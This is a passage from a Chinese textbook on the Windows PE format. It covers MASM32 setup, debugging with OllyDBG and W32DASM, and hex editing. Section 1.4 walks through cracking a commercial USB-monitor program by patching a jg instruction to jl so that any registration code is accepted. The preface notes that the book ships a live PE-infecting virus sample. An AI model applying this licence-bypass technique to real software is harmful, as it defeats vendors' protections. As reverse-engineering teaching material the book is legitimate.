第18～23章讲述了一系列的经典应用案例。具体包括：EXE捆绑器、软件安装自动化、EXE加锁器、EXE加密、PE病毒提示器和破解PE病毒的实现。 本书包含了大量基于MASM32的源代码，且代码的可读性较强，注释十分详细。 Windows PE是以下计算机安全技术领域的基础课程：病毒与反病毒、加密与解密、程序汉化、ShellCoder、逆向工程等。本书将为大家进入这些领域打开一扇大门。 为了能更好地理解本书内容，需要大家对32位汇编程序的编写具有一定的经验。因此，建议大家在学习本书之前先学习一下罗云彬编著的《Windows环境下32位汇编语言程序设计》。 本书约定 本书约定 本书的相关约定如下： PE文件指Windows操作系统下的32位可执行程序体。 COFF文件指使用Windows编译器生成的目标代码。 0x00001000为十六进制表示的地址。 0f80h为十六进制格式表示的数字。 PE加载器指操作系统中用来加载PE文件到虚拟地址空间的软件代码。 本书讨论的技术适应的环境为32位x86机器上的Windows操作系统。 本书的所有汇编代码均在Windows XP SP3上调试通过，调试程序时需要将杀毒软件关闭。 配套工具 配套工具 为了配合本书的学习，以下工具是需要大家熟悉和掌握的： MASM32：汇编语言集成开发工具，本书使用的版本为10.0，内有源代码编译器、链接器和资源编译器。 TASM：Borland公司提供的汇编语言集成开发工具，本书使用的版本为5.0，主要用来编译一些小的PE源代码文件。 OllyDBG：简称OD，本书使用的版本为1.10，是PE动态调试工具。 PW32Dasm：PE的静态反汇编工具，本书使用的版本为9.0b。 FlexHex：PE字节码阅读编辑器，本书使用的版本为2.0。 Depends：小工具，用来查看进程所依赖的模块。 DumpBin：小工具，用来查看PE文件结构。 PEInfo.exe：自行开发的小工具，用来分析PE文件结构。 PEComp.exe：自行开发的小工具，用来比较任意两个PE文件头部数据结构的字段内容。 PEDump.exe：自行开发的小工具，用来查看PE字节码。 联系作者 联系作者 如果您在阅读本书过程中遇到任何困难，或发现任何错误，抑或是有任何建议，都欢迎通过下面的电子邮件地址与作者取得联系，作者将及时给予回复并表示感谢。 qixiaorui@163.com"},
    {"text": "特别提醒 特别提醒 本书生成的所有可执行程序均不携带病毒，由于编写时采取了一些类似于病毒的技术，所以大部分安全软件会出现错误识别的情况，请不要担心，学习时可以暂时关闭杀毒软件。 chapter23\\a中所有的PE文件是本书唯一的携带PE病毒的文件，但该病毒破坏模块仅是在C盘根目录新建一个文件夹而已，且该病毒只感染当前目录的正常PE文件。测试时请不要将该目录中的任何PE文件复制到系统目录或其他安装程序所在目录并运行。 致谢 致谢 首先，感谢我的夫人许瑛女士，是你在我创作时承担了全部的家务劳动，并做好后勤保障工作，同时也为书籍的初次排版做了大量工作。还有我深爱的儿子，你在学校和家里的出色表现让我能够安心创作。 其次，感谢策划编辑杨福川先生，非常佩服您对市场的准确定位和卓越的眼光，让我得以将这部作品奉献给大家。您的鼓励使我拥有了源源不竭的创作动力，在创作异常困难的时候总想起您给予我的宽容、理解和支持。感谢责任编辑白宇女士，在审稿的两个多月的时间里，您付出了很多。您对技术的严谨，对文字表达近乎苛刻的要求保证了书稿的质量，也让我学到了很多。 还要感谢在我成长过程中给予过我帮助和启迪的所有亲人和朋友，他们是： 我的父母。如果没有你们，就没有我的一切，为人父以后才知父母的恩情永远也报答不完，养育我们三个孩子，你们付出了很多。母亲脸上的皱纹里刻满了艰辛，父亲头上的白发里透着历练和沧桑，我一定要在你们的有生之年好好孝敬你们！ 姐姐戚桂香。你是我一生的学习榜样，无论是人品、学识还是处事能力，都值得我一辈子去学习。感谢你为家庭的付出和所承担的本属于我和哥哥应该承担的责任，我一直为有你这样一位好姐姐而感到骄傲和自豪！ 姐姐崔洁晶。上高中时，生活拮据的我总盼望从教室的窗户中看到你的身影，始终记得那天早上你为了给我送油条而在雨中摔倒的一幕。 还有两个必须要提的人，他们都已故去。一个是我舅舅，我快乐的童年里始终有您的影子，每年我给孩子买鞭炮时都会想起您的笑容，很慈祥、很温暖；一个是我姑姑，在兰州上大学的日子里，每个周末都会去您家里，您总是准备一大桌好吃的，就连姑父的生日也经常因为我的缘故提前到周末来庆祝。我在心里默默地为你们祈祷和祝福，祝你们在天堂幸福快乐！ 感谢培养我的母校，以及所有教育和帮助过我的老师、领导、同学和同事；感谢那些为IT技术的发展奉献了自己的青春并将自己的学识无偿传播的前辈们。 最后要感谢的是看雪论坛 [1] 的创始人段钢先生 [2] 、机械工业出版社的何艳和曾珊两位编辑，以及全体工作人员，没有你们这本书不可能出版。 戚利 2011年8月 [1] 又名看雪学院（www.pediy.com），国内著名的安全类网站。 [2] 著有畅销书《加密与解密》，现已出版至第3版，繁体版在中国台湾出版。"},
    {"text": "第一部分 PE的原理和基础 第一部分 PE的原理和基础 第1章 Windows PE开发环境 第2章 三个小工具的编写 第3章 PE文件头 第4章 导入表 第5章 导出表 第6章 栈与重定位表 第7章 资源表 第8章 延迟加载导入表 第9章 线程局部存储 第10章 加载配置信息 第11章 动态加载技术 第1章 Windows PE开发环境 本章首先要为大家详细介绍学习Windows PE所需要的软件开发环境，以及相关辅助软件的使用方法。"},
    {"text": "通过本章，大家将熟悉汇编程序从编写到编译、链接、执行的整个过程，并掌握汇编程序的调试方法，会对PE文件有一个初步的了解。 为了能更有效地帮助读者学习PE文件结构，第2章还会开发三个比较实用的程序，依次为： PEInfo.asm（PE文件结构查看器） PEComp.asm（PE文件比较器） PEDump.asm（PE文件字节码查看器） 本书需要的软件环境如下： 开发语言：MASM32 V10.0 工作环境：Windows XP SP3操作系统 源程序的编辑器：记事本（notepad.exe），主要用来编写汇编源程序 动态调试器：OllyDBG软件 静态调试器：W32DASM 字节码的阅读器和编辑器：FlexHex 相关软件的安装文件大家可以从互联网上获取。 下面以一个简单的汇编程序为例，详细介绍从汇编编码到编译链接生成PE文件，再到调试PE文件的整个过程。"},
    {"text": "1.1 开发语言MASM32 MASM32是Steve Hutchessond在微软的不同产品基础上集成开发出来的汇编开发工具包，适合Win32编程环境的汇编语言，它主要用于基于Windows平台的32位汇编语言开发，是现在最流行的Win32汇编开发包。"},
    {"text": "与VC++和VB等高级语言相比，Win32汇编具有得天独厚的优势，这些优势主要体现在： 1）它摒弃了对系统细节的封装，更接近于系统的底层，从而使得编码更加灵活，能完成许多高级语言无法做到的事情（如代码重定位和特殊寄存器赋值等）。"},
    {"text": "MASM32是一个免费的软件包，该软件包中包含了汇编编译器ml.exe、资源编译器rc.exe、32位的链接器link.exe和一个简单的集成开发环境（Intergrated Development Environment，IDE）QEditor.exe。"},
    {"text": "MASM32软件包还包括了详尽的头文件、导入库文件、例子文件、帮助文档和一些工具程序，如lib.exe和dumpbin.exe等，后者被大家公认为最好的显示PE文件结构的工具。"},
    {"text": "1.1.1 设置开发环境 下载到本地的压缩文件经解压后只有一个安装程序install.exe。 下载了安装程序之后，我们首先要做的是在系统中设置Win32开发环境，设置主要分为以下四步： 步骤1 运行安装程序install.exe，安装汇编环境。"},
    {"text": "首先选择安装路径，此处我们选择的路径为D:\\(backup)，然后单击\"Start\"按钮，如图1-1所示。 图 1-1 汇编语言安装开始界面 此后，中间过程所有的按钮均选择默认的设置，即可完成软件安装。"},
    {"text": "图 1-2 汇编语言自带的IDE——QEditor 尽管MASM32为我们提供了一个集成开发环境，但我个人还是喜欢脱离系统提供的开发环境，自己设置相关的环境变量。"},
    {"text": "所有要做的准备工作都已经完成，不过现在还不能开始编写汇编程序，因为还没有告诉电脑汇编程序所依赖的环境，以及要调用的API函数库都在哪里。"},
    {"text": "图 1-3 系统属性高级选项卡界面 在选项卡上单击“环境变量”按钮，在用户的环境变量中增加以下三个环境变量： include=d:\\masm32\\include lib=d:\\masm32\\lib path=d:\\masm32\\bin 改变环境变量后的窗口如图1-4所示。"},
    {"text": "图 1-4 改变环境变量后的窗口界面 如果系统中已经存在相同名字的环境变量（如path变量），则在该变量的值的最后加上一个分号，然后加上上面列出的值即可。"},
    {"text": "例如，假设未操作前系统存在路径变量path，且值为： path=.;C:\\Program Files\\Java\\jdk1.6.0_11\\bin;%PATH% 修改以后的值为： path=.;C:\\Program Files\\Java\\jdk1.6.0_11\\bin;%PATH%;d:\\masm32\\bin 特别提示 加粗部分要用英文输入，且不要忘记最前面的分号。"},
    {"text": "图 1-5 命令提示符窗口 在该窗口中输入以下命令： C:\\Documents and Settings\\Administrator＞d: D:\\＞cd masm32\\source D:\\masm32\\source＞ml 如果窗口显示以下提示，则表示环境设置成功。"},
    {"text": "Microsoft(R)Macro Assembler Version 6.14.8444 Copyright(C)Microsoft Corp 1981-1997.All rights reserved. usage:ML [options]filelist [/link linkoptions] Run \"ML/help \"or \"ML/?\"for more info 通过以上几步，我们就完成了汇编语言环境的安装与设置。"},
    {"text": "1.1.2 开发第一个源程序HelloWorld.asm 1.1.2 开发第一个源程序HelloWorld.asm 上一小节，详细介绍了汇编语言环境的安装与设置。本小节将利用上面建立的环境开发一个简单的汇编语言程序HelloWorld.asm，程序运行后会在屏幕上弹出一个提示窗口并显示\"HelloWorld\"，具体步骤如下。 首先，打开记事本程序，在其中输入以下内容，如代码清单1-1所示（行号去掉）。 代码清单1-1 第一个汇编源程序（chapter1\\HelloWorld.asm） 1 ;-------------------------------- 2 ;功能：我的第一个基于Win32的汇编程序 3 ;作者：戚利 4 ;编写日期：2010.6.28 5 ;-------------------------------- 6 7 .386 8 .model flat,stdcall 9 option casemap:none 10 11 include windows.inc 12 include user32.inc 13 includelib user32.lib 14 include kernel32.inc 15 includelib kernel32.lib 16 17 ;数据段 18 .data 19 szText db 'HelloWorld',0 20 ;代码段 21 .code 22 start: 23 invoke MessageBox,NULL,offset szText,NULL,MB_OK 24 invoke ExitProcess,NULL 25 end start 输入完毕后，在文件菜单中单击“保存”，选择保存位置为\"D:\\masm32\\source\\chapter1\"，在文件名处输入\"HelloWorld.asm\"，如图1-6所示。 图 1-6 保存源文件 注意 chapter1是D:\\masm32\\source下的子目录，需要事先建立。文件名前后的英文双引号不要遗漏。 这是一个最简单的图形用户界面（Graphical User Guide，GUI）程序。 注意 笔者尽量遵循开发商业程序的原则，使每个程序更容易让别人看懂，所以你可能会在一个不大的程序里看到很多的注释。 1～6行是程序的注释；7～10行定义了该汇编程序支持的基本特性；11～16行引入了外部的动态链接库，在这些动态链接库里有程序需要的函数调用，这种调用方式符合程序代码重用的原则；17～19行定义了这个程序中用到的数据；20～25行则是程序的代码段，25行的伪指令\"end start\"告诉操作系统代码入口；最有用的代码行只有23行和24行，分别调用了user32.dll动态链接库中的MessageBoxA函数和kernel32.dll动态链接库中的ExitProcess函数。 扩展阅读 在描述代码的语句中，使用了MessageBoxA函数，但在源代码里出现的却是MessageBox，两个函数相差了一个字母\"A\"。谈到这里，不能不说一说Win32 API函数的命名问题了。 Win32 API中有名字的函数一般都有两个版本，其后缀分别以\"A\"和\"W\"结束，如创建文件的函数CreateFileA和CreateFileW（当然也有例外，如前面的ExitProcess函数）。A和W表示这个函数使用的字符集，A代表ANSI字符集，W表示宽字符，即Unicode字符集，在Windows中的Unicode字符一般是使用UCS2的UTF16-LE编码。查看user32.dll的导出表，你会发现user32.dll中存在MessageBoxA和MessageBoxW两个函数，代码清单1-1中的MessageBox为什么没有添加任何后缀呢？答案可以在MASM32提供的包含文件里找到，如下所示： MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD MessageBox equ＜MessageBoxA＞ 以上定义来自user32.inc文件（在文件夹D:\\masm32\\include中），通过equ伪指令符把MessageBox等价成了MessageBoxA。所以，如果以后大家再看到代码中出现MessageBox，就知道指的是MessageBoxA函数了。 汇编语言的基本语法本书将不做讲解，我们假设你已经掌握了MASM32编程的基本知识。"},
    {"text": "通过转换磁盘命令和CD命令进入存放源文件HelloWorld.asm的目录中，命令如下： C:\\Documents and Settings\\administrator＞d: D:\\＞cd masm32\\source\\chapter1 步骤2 编译源文件。 在当前工作区中输入命令\"ml -c -coff HelloWorld.asm\"，然后回车。"},
    {"text": "该程序可接受的各参数的解释和描述如下所示： Microsoft(R)Macro Assembler Version 6.14.8444 Copyright(C)Microsoft Corp 1981-1997.All rights reserved. ML [/options]filelist [/link linkoptions] /AT 允许支持微型内存模式 /nologo 不输出编译LOGO信息 /Bl＜linker＞ 使用其他的链接器 /Sa 打开所有可用信息列表 /c 只编译不链接 /Sc 在列表中增加指令执行时间信息 /Cp 保留所有用户定义标识符的大小写 /Sf 在列表中增加第一次编译后的信息 /Cu 将所有标识符转换为大写 /Sl＜width＞ 设置行宽 /Cx 保留公共和外部符号的大小写 /Sn 生成列表文件时关闭符号表 /coff 编译成符合公共目标文件格式的目标文件 /Sp＜length＞ 设置列表文件每页长度 /D＜name＞[=text] 定义给定名字的文本宏 /Ss＜string＞ 为列表文件设置子标题 /EP 生成一个预处理后的列表文件 /St＜string＞ 为列表文件设置标题 /F＜hex＞ 设置栈大小 /Sx 允许在列表中列出条件为假的代码清单 /Fe＜file＞ 指定可执行文件名 /Ta＜file＞ 编译不以.asm结尾的源文件 /Fl [file] 生成汇编代码列表文件 /w 同参数/WX /Fm [file] 生成一个链接映像文件 /WX 将警告视为错误 /Fo＜file＞ 指定目标文件名 /W ＜number＞设置警告级别 /FPi 为浮点运算生成模拟代码 /X 忽略INCLUDE环境变量 /Fr [file] 生成.sbr源浏览文件 /Zd 增加行号调试信息 /FR [file] 生成扩展形式的.sbr源浏览文件 /Zf 使所有符号变成公共符号 /G＜c|d|z＞ 指定使用不同语言格式的函数调用约定和命名约定 /Zi 增加符号调试信息 /H＜number＞ 外部名字有效长度 /Zm 设置为与MASM 5.10兼容的模式 /I＜name＞ 指定包含文件路径 /Zp [n]设置结构对齐 /link＜linker options and libraries＞ 包含链接 /Zs 只进行参数检查 步骤3 链接目标文件与动态链接库。"},
    {"text": "链接程序的参数解释如下： Microsoft(R)Incremental Linker Version 6.00.8168 Copyright(C)Microsoft Corp 1992-1998.All rights reserved. usage:LINK [options] [files] [@commandfile] options: /ALIGN:# 节区对齐尺寸 /BASE:{address|@filename,key} 设置映像基地址 /COMMENT:comment 在头部插入一个注释字符串 /DEBUG 创建调试信息 /DEBUGTYPE:{CV|COFF} 创建特定格式（CV/COFF）的调试信息 /DEF:filename 指定链接库导出函数声明文件 /DEFAULTLIB:library 指定处理外部引用时使用的特定库 /DLL 生成目标为DLL文件 /DRIVER [:{UPONLY|WDM}] 创建Windows NT核心启动程序 /ENTRY:symbol 设定目标PE入口点 /EXETYPE:DYNAMIC 生成动态加载的虚拟设备驱动程序 /EXPORT:symbol 导出一个函数 /FIXED [:NO] 创建的目标PE只加载到首选基地址处 /FORCE [:{MULTIPLE|UNRESOLVED}] 针对那些UNRESOLVED或MULTIPLE定义的符号实施强制链接 /GPSIZE:# 在MIPS和Alpha平台上指定公有变量的尺寸 /HEAP:reserve [,commit] 设定保留或提交的堆的大小 /IMPLIB:filename 覆盖默认的引入链接库名 /INCLUDE:symbol 指定包含INC文件 /INCREMENTAL:{YES|NO} 是否控制增量连接 /LARGEADDRESSAWARE [:NO] 通知编译器应用程序是否支持大于2GB的地址 /LIBPATH:dir LIB 文件所在路径，允许用户重写该环境变量 /MACHINE:{ALPHA|ARM|IX86|MIPS|MIPS16|MIPSR41XX|PPC|SH3|SH4} 指定目标平台 /MAP [:filename] 创建一个MAP文件 /MAPINFO:{EXPORTS|FIXUPS|LINES} 在MAP文件中包含指定的信息（如导出信息、行等） /MERGE:from=to 合并节 /NODEFAULTLIB [:library] 在处理引入符号时忽略所有的默认库 /NOENTRY 创建纯资源DLL文件 /NOLOGO 无LOGO /OPT:{ICF [,iterations]|NOICF|NOREF|NOWIN98|REF|WIN98} 控制LINK优化 /ORDER:@filename 按预定顺序将COMDATs放置到映像文件中 /OUT:filename 指定输出文件名 /PDB:{filename|NONE} 创建PDB文件 /PDBTYPE:{CON [SOLIDATE]|SEPT [YPES]} 指定在哪里存储PDB调试类型信息 /PROFILE 创建一个MAP文件 /RELEASE 在文件头部设置校验和 /SECTION:name,[E] [R] [W] [S] [D] [K] [L] [P] [X] 设置指定节区的属性 /STACK:reserve [,commit] 设置保留或提交堆栈的大小 /STUB:filename 指定DOS STUB块从文件中获取 /SUBSYSTEM:{NATIVE|WINDOWS|CONSOLE|WINDOWSCE|POSIX}[,#[.##]] 指定子系统 /SWAPRUN:{CD|NET} 告诉操作系统在运行映像前首先将链接器的输出复制到交换文件中 /VERBOSE [:LIB] 输出链接过程的信息 /VERSION:#[.#] 指定主次版本号 /VXD 创建一个虚拟设备驱动器 /WARN [:warninglevel] 链接时打开警告级别 /WINDOWSCE:{CONVERT|EMULATION} 创建基于Windows CE的目标映像文件 /WS:AGGRESSIVE 修剪进程内存 注意 此处列举的参数并非link.exe程序支持的所有参数，例如，此处没有出现的-DelayLoad参数在后面的章节中会用到。"},
    {"text": "编译链接过程用到的操作指令如图1-7所示。 图 1-7 编译链接过程用到的操作命令 在命令提示符下输入\"HelloWorld\"即可执行程序，执行结果如图1-8所示。 图 1-8 \"HelloWorld\"程序的执行结果 以上就是在汇编语言开发环境中开发、编译、链接和执行汇编程序的简单过程。"},
    {"text": "接下来要介绍的是对生成的HelloWorld.exe文件（也就是本书要重点研究的PE文件）进行调试，通过调试我们可以深入了解汇编源代码被最终分解为机器指令码并执行的细节。"},
    {"text": "1.2 调试软件OllyDBG 1.2 调试软件OllyDBG 大家可能对OllyDBG（简称OD）并不是很熟悉，但在软件破解领域，它却是与TRW2000和SoftICE等齐名的跟踪破解利器。"},
    {"text": "那么，就让我们从调试HelloWorld.exe开始学习吧。 1.2.1 调试HelloWorld.exe 调试可以帮助我们很容易地找到程序设计中的错误，如果这个程序不是我们开发的，我们还可以通过调试过程了解到开发该改程序的基本思路，调试是逆向工程必须掌握的一门技术。 为了能帮助读者尽快熟悉使用OD软件来调试PE文件的方法，下面以HelloWorld.exe为例，为大家详细讲解调试该PE文件的全过程。 1.认识OD界面的构成 打开OD，选择文件菜单中的“打开”选项，让OD加载前面生成的HelloWorld.exe程序，界面如图1-9所示。"},
    {"text": "在加载HelloWorld.exe以后，状态栏显示： 正在分析HelloWor：1个启发式函数，2个调用关联已知函数 这里的“关联已知函数”是指程序中调用的两个函数：User32.MessageBoxA和Kernel32.ExitProcess。"},
    {"text": "例如，在内存地址0x0040101E处的指令字节码FF25 00204000，其对应的汇编指令是一个远跳转指令： JMP DWORD PTR DS:[＜＆kernel32.ExitProcess＞] 而该位置处的数据则是一个内存地址。"},
    {"text": "②寄存器及运行状态区（以下称②区）该区域位于整个界面的右上角，包含了所有的32位寄存器，如eax、ebx、ecx、esi、edi、esp、ebp等。"},
    {"text": "大家要特别关注以下几个寄存器： ebp（栈基地址指针） esp（栈顶指针） eip（指向下一条要执行的指令的位置） 除了寄存器的值外，该区还显示所有段寄存器的值及标志位的值，如FS段，这个段在后面讲到异常的时候会用到。"},
    {"text": "③代码和数据字节码区（以下称③区）该区域位于整个界面的左下角，它包含了指定内存范围的字节码，我们可以通过菜单命令随时查看当前内存中的数据。 ④栈区（以下称④区）该区域位于整个界面的右下角，它反映了当前栈的分配情况及栈在程序运行过程中的变化情况。"},
    {"text": "2.HelloWorld.exe的跟踪执行 跟踪一个程序的执行不仅可以帮助我们判断程序是否在按照自己预先设计的思路运行，还可以使我们了解某个时刻计算机的寄存器、栈、全局变量、内存等的状态，便于我们理解和更好地把握程序运行过程，优化程序设计，提高编程水平。 对HelloWorld.exe的跟踪执行主要是通过OD调试菜单下的两个主要选项进行的，它们分别是： F7：单步步入 F8：单步步过 这两个选项是跟踪HelloWorld.exe执行时使用频率最高的两个选项。"},
    {"text": "（1）从开始到源代码第23行的调用指令invoke MessageBox 按一次F7键，你会发现程序开始执行虚拟内存地址0x00401000处的指令，并将执行后的结果显示到相应的区域，EIP指针移动到0x00401002处。"},
    {"text": "由于0x00401000处的指令为压栈操作，仔细观察栈区，图1-10是指令执行前后的栈区数据对比。 图 1-10 指令执行前后栈区的变化 可以看出，执行后，栈顶指针向低地址移动了4个字节，在移动后多出的空间中存放了0x00000000这个值。"},
    {"text": "从另一个侧面，我们也知道了操作系统在运行HelloWorld.exe进程时，为该进程的数据段.data分配了1000h个字节，其内存起始位置与代码段的起始位置（0x00401000）相差0x2000个字节。"},
    {"text": "如前所述，四个压栈动作对应的参数关系如下： call调用指令在遇到ret指令后会完成调用，并返回到该指令的下一条指令继续执行，而这条指令紧跟着的下一条指令是函数ExitProcess的参数压栈指令push 0。"},
    {"text": "结果和我们预想的一致，程序执行完显示窗口的操作后（此时屏幕上将弹出提示窗口）将eip定位到push 0处，即： 注意 此时该压栈指令并未执行。"},
    {"text": "（2）源代码第24行的调用指令invoke ExitProcess 按F7键，压栈指令执行，将下一个调用的参数入栈：push 0。 再按一次F7键，执行的汇编指令为：call＜JMP.＆kernel32.ExitProcess＞。"},
    {"text": "由于该处是一个近跳转指令，所以按F7键以后，eip定位到的下一条指令是： 0040101E.-FF25 00204000 JMP DWORD PTR DS:[＜＆kernel32.ExitProcess＞] 注意 观察这条指令，这是一个双字跳转，跳转到相对于进程空间的绝对内存地址0x00402000处。"},
    {"text": "如果想知道这个位置的详细数据，在.rdata行上单击鼠标右键，在弹出的菜单中选择“数据”，将弹出从该位置开始的1000h个字节内容，见图1-12。"},
    {"text": "这个值正是ExitProcess函数在HelloWorld.exe进程地址空间的绝对内存地址！ 返回到①区按一次F7键跟进，会发现指令区刚好跳转到0x7c81cb12处，以下是顺序执行的指令序列： 如果大家有兴趣，最好使用步入技术跟踪执行到程序返回HelloWorld.exe进程的ret指令；"},
    {"text": "可以完整地看到函数＆kernel32.ExitProcess在用户层都调用了哪些动态链接库的哪些函数，以及在结束进程时都执行了哪些操作，这对于间接了解操作系统对进程的管理方式有很大帮助。"},
    {"text": "在这次跟踪分析的过程中，我们获得了这样的一些信息：汇编语言编译链接的程序的可执行代码在被装入操作系统后，代码的执行入口点被设置在进程地址空间的0x00401000处，大小为1000h；"},
    {"text": "1.2.2 修改EXE文件字节码 1.2.2 修改EXE文件字节码 OD不仅可以让我们对EXE文件进行反汇编和单步执行调试，还可以对目标EXE文件进行修改，后面的许多章节都会涉及这一操作。下面我们对HelloWorld.exe文件中的部分字节码进行更改，将显示信息\"HelloWorld\"更改为\"HelloWorld-modified by OD\"。这种修改要成功，要求更改后的字符串长度不能超出EXE中数据段的范围。幸运的是，由于链接器在进行链接时是以200h字节对齐段长度，即数据段的长度要大于等于200h字节，所以这次修改一定可以成功。 在③区的“HEX数据”列中的第一个字节位置单击鼠标右键，选择“复制到可执行文件”，弹出的内容已不再是内存的数据了，因为窗口中第一列显示的地址明显不是内存地址，而是文件的偏移量，如图1-14所示。 图 1-14 OD中内存地址与文件地址的互换 选中足够数量的字节，在选中区域单击鼠标右键，依次选择“二进制”→“编辑”，在弹出的对话框的ASCⅡ文本框中输入\"HelloWorld-modified by OD\"。注意，“保持大小”一项要处在勾选状态。完成后单击“确定”按钮，如图1-15所示。 图 1-15 保存修改 此时，数据尚未被保存到相应的EXE文件中，再次单击鼠标右键，选择“保存文件”，系统会有一些提示让你选择要保存的文件并提示是否覆盖，均选择确认按钮。至此，EXE文件字节码修改成功。运行HelloWorld.exe，会发现提示信息已经被修改。 在这个例子中，我们只是给大家演示如何使用OD更改EXE文件字节码，而真正修改EXE文件字符串常量的方法很复杂，不能用以上方法替代。 如果说OD是一个擅长动态分析的软件，那么W32DASM则是一个擅长静态分析的软件。后者可以标识整个EXE文件中指令间的调用关系，对于跟踪和识别指令之间的承前启后的关系有很大的帮助，该软件在随书文件 [1] 中可以找到。 以下是使用W32DASM打开HelloWorld.exe后的输出： 静态分析最大的好处是：能从当前指令反查调用此处的指令所在。例如，地址0x00401018处的指令是谁调用了呢（加粗部分）？请分析如下代码行： *Referenced by a CALL at Address: |:0040100B | 哦，知道了，原来是0x0040100B处的指令调用了它。 目前，大家可能感觉不到有什么用处，等学到后面就会知道了。 提示 由于静态分析和动态分析均正确地模拟了Windows操作系统的进程装载机制，所以二者的指令地址是一致的。 [1] 该文件可以在华章公司网站（www.hzbook.com）本书的官方页面上找到。 1.3 十六进制编辑软件FlexHex 1.3 十六进制编辑软件FlexHex 目前，有很多优秀的十六进制编辑器，如FlexHex、WinHex、UltraEdit、HEdit等。本书选用FlexHex，因为这个编辑器操作起来很容易。只要掌握了简单的查找和编辑操作，对于阅读本书来讲就已经足够了。图1-16是打开了HelloWorld.exe文件后的主界面。与所有的十六进制编辑器一样，内容区包含了偏移量、16个字节的十六进制值、ASCⅡ码和Unicode码，最后一列可以在查看资源表中资源的Unicode字符串时使用。如果想修改某个字节的值，直接将光标定位到该字节处，然后输入修改后的值即可，修改后的值将以红色字符显示。要想使所有的修改生效，只需要保存文件即可。 图 1-16 FlexHEX主界面 它的导出功能很实用，可以将界面显示的内容复制到剪贴板。比如，选中字节码后，单击鼠标右键，选择“复制格式”，会弹出如图1-17所示对话框。在该对话框中，可以灵活地选择导出方式。 图 1-17 FlexHEX导出格式定义 导出的内容会以如下格式出现在剪贴板中："},
    {"text": "1.4 破解实例：U盘监控器 1.4 破解实例：U盘监控器 本节通过一个简单的破解软件的实例，进一步展示以上软件的使用方法。 （1）目标 U盘监控器。该软件可以从互联网上获得，也可以从本书的随书文件中找到。 （2）任务 该软件需要注册才能使用全部功能，我们的任务是使得输入任何注册码均能注册成功。 （3）思路 通常在注册时，程序会读取注册码，然后对注册码进行判断：正确则显示注册成功，转到正常的程序运行状态；错误则显示注册失败，转到未注册运行状态。如果我们将判断转移条件更改一下，错误则转到正常的运行状态，反之则转到未注册的运行状态。这样，如果我们输入了错误的注册号，程序也会像输入了正确的注册号一样运行，流程如图1-18所示。 图 1-18 破解流程前后对比 （4）实现步骤 步骤1 首先运行该软件，获取与破解有关的提示信息。 打开软件，进行注册。随便输入注册码，单击注册以后，系统出现一个对话框提示“注册失败！”，如图1-19所示。这个字符串就是我们要获取的与破解有关的提示信息。 图 1-19 注册失败对话框 步骤2 使用FlexHEX获取“注册失败！”字符串的文件偏移地址。 方法是使用搜索/查找功能，在打开的对话框中选择ANSI文本，输入“注册失败”，找到该字符串的文件偏移地址为0x81A79，如图1-20所示。 图 1-20 提示信息在文件中的偏移 步骤3 使用OD获取引用该字符串的指令在内存中的地址。 EXE文件被操作系统装载进内存以后，尽管两者存在一定转换关系，但文件偏移地址和内存地址是两个截然不同的概念。通过观察OD对进程“U盘监控器”中的大量数据段变量的引用，可以发现该进程中两者的关系： 内存地址=0x0400000+文件偏移地址 由此推断出，引用该字符串的指令中字符串地址的常量为0x0481A79。 注意 以上计算方法只在此处适用。后面我们还会专门介绍内存地址与文件偏移之间的转换，方法就没这么简单了。 在OD中搜索这个常量，方法是在①区单击鼠标右键，选择“查找/常量”，输入以上数值；查找到指令所在的内存地址为0x00405D2D，如图1-21所示。 图 1-21 引用字符串地址指令在内存的位置 步骤4 使用W32DASM获取判断语句的位置。 通过静态分析查找该指令流程中的上一个判断语句的位置。令人高兴的是，这个信息可以直接通过W32DASM提示来获取，如下所示： 从下往上看静态分析代码，首先获取携带提示信息字符串地址的指令，判断出这附近的指令代码的功能是完成MessageBoxA函数，即显示错误提示信息。由此继续往上找，会发现以下提示： *Referenced by a(U)nconditional or(C)onditional Jump at Address: |:00405CD2(C) | 这个提示信息告诉我们是谁调用了显示错误信息的代码。如果沿着这个思路继续往前找，找到0x00405CD2的位置，此处的代码就应该是一个分支语句。看看到底是什么指令。 :00405CD2 0F8F39000000 jg 00405D11 果然是一个分支语句。jg在汇编语言里的意思是：如果大于则跳转。其相反的指令应该是jl。下一步就是将jg更改为jl，使其判断条件刚好相反。 步骤5 使用OD更改指令字节码。 更改方法在前面已经介绍过了，所不同的是前面更改的是二进制指令，现在要更改的是汇编指令，如图1-22所示。 图 1-22 更改分支条件 一定要选择“使用NOP填充”，NOP表示空指令。因为指令修改以后，其指令字节码与原来指令的长度可能不一致。为了不改变整个EXE文件的结构和大小，最好的办法是使用空指令NOP来填充。 例如，原来的字节码为： 0F 8F 39 00 00 00←→JG 00405D11 更改后的字节码为： 7C 3D 90 90 90 90←→JL 00405D11 重要提示 指令代码更改以后一定要保存文件！ 步骤6 重新测试。 运行新的U盘监控器文件，重新注册，输入任意的注册码都可以注册成功，如图1-23所示。 图 1-23 注册成功对话框 真正的破解远没有这么简单，许多商业软件都会对最终发布的EXE文件进行加壳处理；破解的目标也不只是实现简单的指令流程控制，而是最终开发出注册机，在不破坏程序的前提下完美登录。 本实验的主要目的是练习使用这三款常用软件，为我们后续的学习奠定良好的基础。 下面让我们来初步认识一下本书的主人公——PE文件。"},
    {"text": "1.5 初识PE文件 1.5 初识PE文件 PE（Portable Executeable File Format，可移植的执行体文件格式），使用该格式的目标是使链接生成的EXE文件能在不同的CPU工作指令下工作。 可执行文件的格式是操作系统工作方式的真实写照。Windows操作系统中可执行程序有好多种，比如COM、PIF、SCR、EXE等，这些文件的格式大部分都继承自PE。其中，EXE是最常见的PE文件，动态链接库（大部分以dll为扩展名的文件）也是PE文件，本书只涉及这两种类型的PE文件。 我们首先以HelloWorld.exe为例，简单地了解一下PE格式文件的字节码编排。如果你手头没有合适的软件，还想获取像FlexHEX那样的十六进制格式字节码内容，可以使用以下步骤。 步骤1 生成1.txt文件，输入的内容如下： d d ...... d d q 其中d字符个数的计算公式为： d字符的个数=文件大小/（16×8）=2560/（16×8）=20 步骤2 将HelloWorld.exe更改为123。注意，不要加扩展名。 步骤3 在命令提示符下运行以下命令： D:\\masm32\\source\\chapter1＞Debug 123＜1.txt＞2.txt 这样，就可以生成规则排列的十六进制字节码并存储在文件2.txt中，如代码清单1-2所示。是不是和FlexHEX显示的结果差不多呢？ 代码清单1-2 HelloWorld.exe文件的字节码（chapter1\\2.txt） 特别注意 此处节选的PE文件字节码是从地址13B7:0100开始的，而非从13B7:0000开始！ 